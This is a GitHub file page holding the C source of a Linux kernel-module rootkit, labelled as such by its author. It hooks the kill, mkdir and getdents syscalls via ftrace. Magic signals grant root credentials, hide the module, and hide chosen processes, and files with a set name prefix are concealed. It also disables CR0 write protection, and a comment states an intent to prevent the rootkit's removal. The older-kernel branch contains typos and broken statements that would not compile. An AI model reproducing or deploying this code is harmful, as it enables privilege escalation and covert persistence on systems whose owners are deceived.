-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy patholdversion.txt
585 lines (488 loc) · 16.1 KB
/
oldversion.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
#include <linux/init.h> //must have to make a kernal module
#include <linux/module.h> //must have to make a kernal module
#include <linux/kernel.h> //to ger kernal methods
#include <linux/syscalls.h> // to get syscalltable
#include <linux/kallsyms.h> //also to get acces to kallsysm_lookup_name
#include <linux/kprobes.h> //work around for kernal 5.6.0 and above
#include <linux/unistd.h> // contains syscall numbers
#include <linux/version.h> // linux kernel versions
#include <linux/dirent.h> //contains dirent structs etc
#include "headers/ftrace_helper.h" //helps with setting the hooked functions bach to default
MODULE_LICENSE("GPL");
MODULE_AUTHOR("infernexio");
MODULE_DESCRIPTION("rootkit");
MODULE_VERSION("0.0.1");
enum signals{
SIGSUPER = 64, // become root
SIGINVIS = 63, // hide the rootkit
SIGHIDE = 62, // hide process with pid given
};
unsigned long *__sys_call_table = NULL;
static short hidden = 0;
static struct list_head *prev_module;
char hide_pid[NAME_MAX];
#define PREFIX "SOHAIL"
#ifdef CONFIG_X86_64
/* on 64-bit x86 and kernel v4.17 syscalls are nolonger
allowed to be called form the kernel*/
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)
#define PTREGS_SYSCALL_STUB 1
/* kill */
typedef asmlinkage long (*ptregs_t)(const struct pt_regs *regs);
static ptregs_t orig_kill;
/* mkdir */
typedef asmlinkage long (*ptregs_t)(const struct pt_regs *);
static ptregs_t orig_mkdir;
/* ls 64-bit*/
typedef asmlinkage long (*ptregs_t)(const struct pt_regs *);
static ptregs_t orig_getdents64;
/* ls 32-bit */
typedef asmlinkage long (*ptregs_t)(const struct pt_regs *);
static ptregs_t orig_getdents;
#else
/* kill */
typedef asmlinkage long (*orig_kill_t)(pid_t pid, int sig);
static orig_kill_t orig_kill;
/* mkdir */
typedef asmlinkage long(*orig_mkdir_t)(const char __user *pathname, umode_t mode);
static orig_mkdir_t orig_mkdir;
/* ls 64-bit */
typedef asmlinkage long (*orig_getdents64_t)(unsigned int fd, struct linux_dirent64 *dirent, unsigned intcount);
static orig_getdents64_t orig_getdents64;
/* ls 32-bit */
typedef asmlinkage long (*orig_getdents_t)(unsigned int fd, struct linux_dirent *dirent, unsigned intcount);
static orig_getdents_t orig_getdents;
#endif
#endif
#if PTREGS_SYSCALL_STUB
/**
* if signal is 64 then gives the current user root privilegs
* if signale is 63 hides the rootkit
* kill
*/
static asmlinkage long hook_kill(const struct pt_regs *regs){
int sig = regs->si;
pid_t pid = regs->di;
void set_root(void);
void hide_me(void);
void show_me(void);
if(sig == SIGSUPER){
printk(KERN_INFO "signal: %d == SIGSUPER %d | giving root privilges\n", sig, SIGSUPER);
set_root();
return 0;
}else if((sig == SIGINVIS) && (hidden == 0)){
printk(KERN_INFO "signal: %d == SIGINVIS %d | hiding the rootkit\n", sig, SIGINVIS);
hide_me();
hidden = 1;
return 0;
}else if((sig == SIGINVIS) && (hidden == 1)){
/* This is only for testing we don't want anyone to get rid of our rootkit */
printk(KERN_INFO "signal: %d == SIGINVIS %d | reavling the rootkit\n", sig, SIGINVIS);
show_me();
hidden = 0;
return 0;
}else if((sig == SIGHIDE)){
printk(KERN_INFO "rootkit: hiding process with id %d\n",pid);
sprintf(hide_pid, "%d", pid);
return 0;
}
printk(KERN_INFO "***** hacked kill syscall *****\n");
return orig_kill(regs);
}
/**
* sending any directory created to the dmesg logs
* mkdir
*/
static asmlinkage int hook_mkdir(const struct pt_regs *regs){
char __user *pathname = (char *)regs->di;
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if(error > 0){
printk(KERN_INFO "rootkit: trying to create directory with name : %s\n", dir_name);
}
printk(KERN_INFO "***** hacked mkdir syscall *****\n");
orig_mkdir(regs);
return 0;
}
/**
* hiding directories and files with the PREFIX
* getdents64
*/
static asmlinkage long hook_getdents64(const struct pt_regs *regs){
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
long error;
unsigned long index = 0;
// get real output with all files in a directory
int ret = orig_getdents64(regs);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if((ret <=0) || (dirent_ker == NULL)){
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if(error){
goto done;
}
//loop through the directory to find the prefix
while(index < ret){
//looking at the first index.
current_dir = (void *)dirent_ker + index;
//checking if the file at the current directory has the prefix
// or if the process id is equal to the one we want to hide
if(memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0 ||
((memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) !=0))){
// if the prefix is the first index of the list we have to move everything up
if(current_dir == dirent_ker){
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
// we add the length of teh current directory to the previous one
previous_dir->d_reclen += current_dir->d_reclen;
}else{
previous_dir = current_dir;
}
index += current_dir->d_reclen;
}
// return altered list to user
error = copy_to_user(dirent, dirent_ker, ret);
if(error){
goto done;
}
done:
kfree(dirent_ker);
return ret;
}
/**
* hiding directories and files with the PREFIX
* getdents
*/
static asmlinkage long hook_getdents(const struct pt_regs *regs){
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
};
struct linux_dirent *dirent = (struct linux_dirent *)regs->si;
struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL;
long error;
unsigned long index = 0;
// get real output with all files in a directory
int ret = orig_getdents(regs);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if((ret <=0) || (dirent_ker == NULL)){
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if(error){
goto done;
}
//loop through the directory to find the prefix
while(index < ret){
//looking at the first index.
current_dir = (void *)dirent_ker + index;
//checking if the file at the current directory has the prefix
if(memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0 ||
((memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) !=0))){
// if the prefix is the first index of the list we have to move everything up
if(current_dir == dirent_ker){
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
// we add the length of teh current directory to the previous one
previous_dir->d_reclen += current_dir->d_reclen;
}else{
previous_dir = current_dir;
}
index += current_dir->d_reclen;
}
// return altered list to user
error = copy_to_user(dirent, dirent_ker, ret);
if(error){
goto done;
}
done:
kfree(dirent_ker);
return ret;
}
#else
/**
* if signal is 64 then gives the current user root privilegs
* if signale is 63 hides the rootkit
* kill
*/
static asmlinkage long hook_kill(pid_t pid, int sig){
void set_root(void);
void hide_me(void);
void show_me(void);
if(sig == SIGSUPER){
printk(KERN_INFO "signal: %d == SIGSUPER %d | giving root priveliges\n", sig, SIGSUPER);
set_root();
return 0;
}else if((sig == SIGINVIS) && (hidden == 0)){
printk(KERN_INFO "signal: %d == SIGINVIS %d | hiding the rootkit\n", sig, SIGINVIS);
hide_me();
hidden = 1;
return 0;
}else if((sig == SIGINVIS) && (hidden == 1)){
/* This is only for testing we don't want anyone to get rid of our rootkit */
printk(KERN_INFO "signal: %d == SIGINVIS %d | reavling the rootkit\n", sig, SIGINVIS);
show_me();
hidden = 0;
return 0;
}else if((sig == SIGHIDE)){
printk(KERN_INFO "rootkit: hiding process with id %d\n",pid);
sprintf(hide_pid, "%d", pid);
return 0;
}
printk(KERN_INFO "***** hacked kill syscall *****\n");
return orig_kill(regs);
}
/**
* sending any directory created to the dmesg logs
* mkdir
*/
static asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode){
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if(error > 0){
printk(KERN_INFO "rootkit: trying to create directory with name : %s\n", dir_name);
}
printk(KERN_INFO "***** hacked mkdir syscall *****\n");
orig_mkdir(pathname, mode);
return 0;
}
/**
* hiding directories and files with the PREFIX
* getdents64
*/
static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count){
struct linux_dirent64 *current_dir, *previous_dir = NULL;
unsigned long index = 0;
long error;
//getting actuall output of the dirr
int ret = orig_getdents64(fd,dirent,count);
dirent_ket = kzalloc(ret, GFP_KERNEL);
if((ret <=0) || (dirent_ker == NULL)){
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if(error){
goto done;
}
//looping thorugh the list to find the prefix and then remove those instances
while(index < ret){
current_dir = (void *) dirent_ker = 0;
if(memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) ==0 ||
((memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) !=0))){
if(current_dir == dirent_ker){
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen,ret);
continue;
}
}else{
previous_dir = current_dir;
}
index += current_dir->d_reclen;
}
error = copy_to_user(dirent,dirent_ker, ret);
if(error){
goto done;
}
done:
kfree(dirent_ker);
return ret;
}
/**
* hiding directories and files with the PREFIX
* getdents
*/
static asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent *dirent, unsigned int count){
struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned long d_reclen;
char d_name[];
}
struct linux_dirent *current_dir, *previous_dir = NULL;
unsigned long index = 0;
long error;
//getting actuall output of the dirr
int ret = orig_getdents(fd,dirent,count);
dirent_ket = kzalloc(ret, GFP_KERNEL);
if((ret <=0) || (dirent_ker == NULL)){
return ret;
}
error = copy_from_user(dirent_ker, dirent, ret);
if(error){
goto done;
}
//looping thorugh the list to find the prefix and then remove those instances
while(index < ret){
current_dir = (void *) dirent_ker = 0;
if(memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) ==0 ||
((memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) !=0))){
if(current_dir == dirent_ker){
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen,ret);
continue;
}
}else{
previous_dir = current_dir;
}
index += current_dir->d_reclen;
}
error = copy_to_user(dirent,dirent_ker, ret);
if(error){
goto done;
}
done:
kfree(dirent_ker);
return ret;
}
#endif
void hide_me(void){
prev_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
void show_me(void){
list_add(&THIS_MODULE->list, prev_module);
}
/**
* changes the credentials of the given user to be root
*/
void set_root(void){
struct cred *root;
root = prepare_creds();
if( root == NULL){
return;
}
root->uid.val = root->gid.val = 0;
root->euid.val = root-> egid.val =0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;
commit_creds(root);
}
/**
* Custom write_cr0 function to unprotect memory
* this gets past the checks that the write_cr0 has
*/
static inline void write_cr0_forced(unsigned long val){
unsigned long __force_order;
asm volatile(
"mov %0, %%cr0"
: "+r"(val), "+m"(__force_order));
}
/**
* Disables write protection
*/
static void unprotect_memory(void){
write_cr0_forced(read_cr0() & (~ 0x10000));
printk(KERN_INFO "unportected memory\n");
}
/**
* enables memory protection
*/
static void protect_memory(void){
write_cr0_forced(read_cr0() | (0x10000));
printk(KERN_INFO "protected memory\n");
}
// /**
// * checks kernel version and gets address of syscall table
// * @return - returns the memory adress of the syscall table
// */
// static unsigned long *get_syscall_table(void){
// unsigned long *syscall_table;
// #if LINUX_VERSION_CODE < KERNEL_VERSION(6,0,0)
// syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
// #else
// syscall_table = NULL;
// #endif
// //printk(KERN_INFO "syscaltable value: %ln",syscall_table);
// return syscall_table;
// }
/**
* array of functins hooked by this rootkit
*/
static struct ftrace_hook hooks[] = {
HOOK("__x64_sys_kill", hook_kill, &orig_kill),
HOOK("__x64_sys_mkdir", hook_mkdir, &orig_mkdir),
HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64),
HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents),
};
/**
* start of the rootkit
* like the main method
*/
static int __init init_func(void){
int err;
unprotect_memory();
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err){
return err;
}
printk(KERN_INFO "rootkit: initalized\n");
//__sys_call_table = get_syscall_table();
// if(!__sys_call_table){
// printk(KERN_INFO "error: unable to gain syscal table\n");
// return err;
// }
// if(store() == err){
// printk(KERN_INFO "error:store error\n");
// }
// if(hook() == err){
// printk(KERN_INFO "error: hook error\n");
// }
protect_memory();
return 0;
}
/**
* exit of the rootkit
*/
static void __exit exit_func(void){
printk(KERN_INFO "rootkit: stoped\n");
unprotect_memory();
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
// if(cleanup() == err){
// printk(KERN_INFO "error: clean up error\n");
// }
protect_memory();
}
/**
* sets the init and exit methods
*/
module_init(init_func);
module_exit(exit_func);
//Older way to do the cleanup and hooking the ftrace functions are much easier
/**
* for clearn up after the syscall
*/
// static int cleanup(void){
// /* kill */
// __sys_call_table[__NR_kill] = (unsigned long)orig_kill;
// return 0;
// }
/**
* stores the id of the sys call to later hook
*/
// static int store(void){
// /* if LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0) syscall use pt_regs stub*/
// #if PTREGS_SYSCALL_STUB
// /* kill */
// orig_kill = (ptregs_t)__sys_call_table[__NR_kill];
// printk(KERN_INFO "orig_kill table entry successfully sotred\n");
// /* if LINUX_VERSION_CODE < KERNEL_VERSION(4,17,0) */
// #else
// /* kill */
// orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
// printk(KERN_INFO "orig_kill table entry successfully sotred\n");
// #endif
// return 0;
// }
// static int hook(void){
// /* kill */
// __sys_call_table[__NR_kill] = (unsigned long)&hacked_kill;
// return 0;
// }